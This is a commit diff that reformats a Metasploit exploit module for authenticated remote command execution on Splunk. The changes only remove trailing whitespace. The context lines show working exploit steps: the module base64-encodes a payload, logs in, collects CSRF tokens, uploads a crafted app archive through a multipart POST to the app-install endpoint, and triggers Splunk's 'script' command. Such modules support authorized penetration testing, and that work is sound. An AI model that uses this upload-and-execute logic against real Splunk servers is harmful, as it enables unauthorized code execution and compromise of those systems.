Update splunk_upload_app_exec.rb

modules/exploits/multi/http/splunk_upload_app_exec.rb

@@ -124,19 +124,18 @@ class MetasploitModule < Msf::Exploit::Remote
     @state_token = ''
     @splunkweb_csrf_token_8000_id = ''
     @csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
-    @ver7 = false # splunk version 7 boolean 
-
+    @ver7 = false # splunk version 7 boolean
     app_name = 'upload_app_exec'
     p = payload.encoded
     print_status("Using command: #{p}")
     cmd = Rex::Text.encode_base64(p)
 
-    # check if the target version is 7.2.4 
+    # check if the target version is 7.2.4
     if target.name.include? "7.2.4"
       @ver7 = true
     end
 
-    do_login 
+    do_login
 
     # fetch the csrf token for use in the upload next
     if @ver7 == true
@@ -158,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Remote
       # get the next csrf token from our new app
       do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
     end
-    
+
     # call our command execution function with the Splunk 'script' command
     print_status("Invoking script command")
     if @ver7 == true
@@ -345,7 +344,7 @@ class MetasploitModule < Msf::Exploit::Remote
         @auth_cookies = "#{session_id_port}=#{session_id}"
     end
   end
- 
+
   def do_upload_app(app_name, file_name)
     archive_file_name = ::File.basename(file_name)
     print_status("Uploading file #{archive_file_name}")
@@ -397,21 +396,18 @@ class MetasploitModule < Msf::Exploit::Remote
     data =  "--#{boundary}\r\n"
     data << "Content-Disposition: form-data; name=\"state\"\r\n"
     data << "\r\n#{@state_token}\r\n"
-
     data << "--#{boundary}\r\n"
     data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
     data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"
-    
     data << "--#{boundary}\r\n"
     data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
     data << "Content-Type: application/x-compressed-tar\r\n\r\n"
     data << file_data
     data << "\r\n--#{boundary}\r\n"
-
     data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
     data << "1"
     data << "\r\n--#{boundary}--\r\n"
-  
+
     res = send_request_cgi(
       {
         'uri' => '/en-US/manager/appinstall/_upload',